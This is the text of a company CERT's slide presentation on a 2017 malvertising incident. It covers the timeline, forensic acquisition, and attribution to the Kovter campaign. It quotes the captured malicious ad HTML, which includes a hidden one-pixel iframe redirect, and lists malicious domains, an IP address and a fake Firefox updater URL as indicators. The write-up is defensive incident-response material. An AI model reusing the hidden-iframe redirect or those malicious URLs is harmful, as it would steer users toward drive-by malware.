Malvertising: an Italian tale

Antonio Rossi (CERT manager)
Andrea Minigozzi (Team leader in Cyber Threat Intelligence)

TLP: GREEN
Leonardo is an Italian global high tech company that operates in Aerospace, and Security sector worldwide since early years of the last century.

Since 1875

Joint ventures and controlled company: Leonardo DRS (100%), Telespazio (67%), Thales Alenia Space (33%), MBDA (25%), ATR (50%), Avio (21%), Elettronica (31%)

THE CREW
SCENARIO [LOG IN]

The asset involved in the incident with specific policy and custom configuration

The USB internet key providing UMTS internet access
# the policy exception

The compromised advertisement hosted by adults website
# the trigger condition

# the PC user

STARTING DOWNLOAD
Events Time Line

- HOST connection to malicious IP (@17:00 GMT+2)
- IoC shared by the Critical infrastructure protection police (@11:27 GMT+2)
- IoC uploaded into the endpoint security platform (@18:38 GMT+2)
- Alert triggered by endpoint security platform signature (@09:36 GMT+2)
- Remote HOST containment due the IoC matching signature (@14:07 GMT+2)
- Digital forensic acquisition of the compromised HOST (@12:05 GMT+2)
- Start of digital forensics analysis (@08:00 GMT+2)
- Rebuild compromised host with the enterprise standard build (@08:00)
- Incident Report (@17:00 GMT+2)

05/10/2017
09/10/2017
09/10/2017
10/10/2017
10/10/2017
16/10/2017
19/10/2017
26/10/2017
17/11/2017

TLP: GREEN

DOWNLOADING: 08%
Focus on digital forensic acquisition

- Recon.
- Verify
- Secure store env.
- Size
- Analysis process
- Acquire
- Wipe / Kill data

TLP: GREEN

DOWNLOADING: 10%
What’s happened: the road to accident

- User power on his laptop and complete the login process with his username and password;
- a Huawei USB stick (UMTS) has been plugged in;
- Internet connection has been established via USB UMTS modem;
- user browses on xhamster[.]com domain and search for a keyword («flashing»);
- after 14 pages the malicious ADS frame has been rendered by Firefox browser, starting the redirection to malicious content;
Digital Forensic Investigation bookmark #1

User browses 15 pages of search results for the keyword «flashing» on «it.[.]xhamster[.]com» via Mozilla Firefox, then he displays the malicious banner within the results page.
Digital Forensic Investigation bookmark #2

```html
<!DOCTYPE html><html><head>"
</head><body><script type="text/javascript">try{if (!localStorage){var cookies = typeof localStorage.lsc != "undefined" ? JSON.parse(localStorage.lsc) : {};}cookies.epomUUID = "f0c94bc0-a9dd-11e7-b8a4-e4115bb10bd4";localStorage.lsc = JSON.stringify(cookies);}}catch(e){}</script></head><body leftmargin='0' topmargin='0' marginwidth='0' marginheight='0' style='background-color: transparent; width: 100%; text-align: center;'><script type="text/javascript">new Image().src = "https://www.advertisingms.com/impression.gif?b=183275&p=80724&c=110989&h=8331ad0ebd4f189c8dc93f4c858dda90&t=IT&sh=800&sw=1280&ad.trans.id=3w21b411py4&s=34155b72544a9c4c33815dc3be4aee"&=1507215635071";</script>
"<a target="_blank" href="https://www.advertisingms.com/cr?b=183275&p=80724&c=110989&h=8331ad0ebd4f189c8dc93f4c858dda90&t=IT&sh=800.0&sw=1280.0&ad.trans.id=3w21b411py4&s=34155b72544a9c4c33815dc3be4aee"&=1507215635071""="https://www.snapsext.com/tour-web/znapsextthd/?prg=1&tour=znapsextthd&ot=best&cmp=39988.71.US.0&ad_id=102056e51050cffbf779c407b3d07""="<img src="https://tradeocean-6949.kxcdn.com/load/crtv/img/19403.jpg"></a><iframe border='0' scrolling="no" style="left: 0; top: 0; width:1; height:1; border: none;" src="https://tradeocean-6949.kxcdn.com/REWbetPOFwcaYERhes"></iframe>
"<body></body></html>
```
Chrome will block iframe redirects

The first of these three features — and the most important — will land in Chrome 64, scheduled for an official release in late January 2018.

Starting with v64, Chrome will block URL redirection attempts triggered by code loaded inside iframes embedded in a page.

Most website owners don't use iframes when creating their sites and iframes usually end up on a page loaded via ads.

Malicious ads — also known as malvertising — will use JavaScript code loaded inside these iframes to redirect users to malicious sites.

By blocking iframes from redirects to new sites, Google will be putting a huge dent in malvertising campaigns starting next year.

Malvertising campaigns can exploit the profiling capabilities of ADS networks, in order to target only selected users (country, industry sector, interests, user behaviour, etc...). In this case the malicious ADS uses profiling keywords «voyeur», «public» and «nudity» correlated to the typed keyword «flashing».
The malicious code has been found within Firefox Cached entry «43957EDAE7E6FEED868C423F6657F6E2D0478FD5». This file is identified by MFT FileID **246005**. Analyzing the MFT entries and sorting it by FileID, we can easily recover the JPG artifacts related to malicious ADS (FileID **246007**).
About us

Endpoint Security Solution, previously fed with Government Agency IoC, has detected the connection to the malicious IP address:

The malicious AD redirect the user against the alerted IP, but at that time the resolved domain was already changed to wuchecofriend[.]org, instead of phohww11888[.]org.
**Digital Forensic Investigation** bookmark #7

**Virus Total Report for 192.129.215.155 on 2017-10-01**

**URLs**

<table>
<thead>
<tr>
<th>Date scanned</th>
<th>Detections</th>
<th>URL</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>2017-10-01</td>
<td>1/54</td>
<td><a href="https://phohww11888.org/3896419890748/1506870094854572/firefox-patch.js">https://phohww11888.org/3896419890748/1506870094854572/firefox-patch.js</a></td>
<td></td>
</tr>
</tbody>
</table>

- **Very low detection rate**
- **Fake Firefox Updater used to install the malware in case of Mozilla Firefox**
The security bulletin dispatched by the critical infrastructure Italian police

Notification e-mail

IoC list

IoC list

TLP: GREEN

DOWNLOADING: 52%
Triggered signature in end point security platform
Incident Response Case Management #1

Case details

Easily correlate events and incidents

Case metadata as TLP and Tags
Incident Response Case Management #2

Analyze observables against several analyzers for fast and reliable response.

Every single IoC can be correlated with all the other cases.

Several analyzers are available for different platforms and feeds thanks to the community contribution.

TLP: GREEN
LDO-CERT contribution to «The Hive Project»

If you are using TheHive, get the last version of the report templates and import them into TheHive.

New Analyzers

We have added 11 analyzers to this release, bringing the total to 53 (83 if we count all the flavors):

1. Crtsh: contributed by crackytsi
2. Cybercrime-Tracker: contributed by ph34tur3
3. FireEye ISIGHT: contributed by Davide Arcuri and Andrea Caravaglia from LDO-CERT
4. GreyNoise: contributed by Nclose
5. IBM X-Force: contributed by Davide Arcuri and Andrea Caravaglia from LDO-CERT
6. Malwares: contributed by Davide Arcuri and Andrea Caravaglia from LDO-CERT
7. MnemonicPDNS: contributed by Michael Stensrud from the Nordic Financial CERT
8. StaxxSearch: contributed by Robert Nixon
9. StopForumSpam: contributed by Marc-André Doll from STARC (by EXAPROBE)
10. ThreatCrowd: contributed by Rémi Allain from Cyberprotect
11. Unshortenlink: contributed by Rémi Pointel from CERT-BDF

TLP: GREEN

DOWNLOADING: 70%
**Tools used during the investigation:**

- EnCase Forensic has been used for Digital Forensic on the acquired Hard Disk image.

- MISP has been used to share IoC

- The Hive has been used to manage the case, the actions and analyze indicators

- Mandiant Redline has been used to analyze malicious artifacts

- SANS SIFT Workstation (FOR.508) has been used primarily to analyze RAM dump via volatility and then to process several other Windows artifacts.
Attack attribution and Cyber Threat Intelligence enrichment

Based on OSINT information available in MISP and The Hive platform, we can easily and quickly attribute the incident to Kovter Group and its malvertising campaign. The original Proofpoint® report has been used to confirm step-by-step our investigation and findings.

The victim’s computers was not infected by the malware due a lucky timing: when the user browsed the infected site, a redirection chain started but the exploit kit wasn’t delivered due the change of the domain name, few hours before the signature alert.
LESSON LEARNED #1

• **Usable** and **applicable** security policy;

• **Awareness** about cyber risks, through **periodically and dedicated actions** vs users targeted by cybersecurity incident, improving training and communication;

• Apply **disciplinary measures** for policy violation;

• **Limit** the use of external connection, considering the exception or special needs driven by the business, improving security controls also **evaluating the «security posture»** of the user before allowing the exception.
Lesson Learned #2

Create a dedicated intranet portal accessible by all employees to inform about security and cyber security threats.
Wiping Killing data policy
+39 0871 554571 [24/7 365 days]

cert@leonardocompany.com

www.leonardocompany.com/cert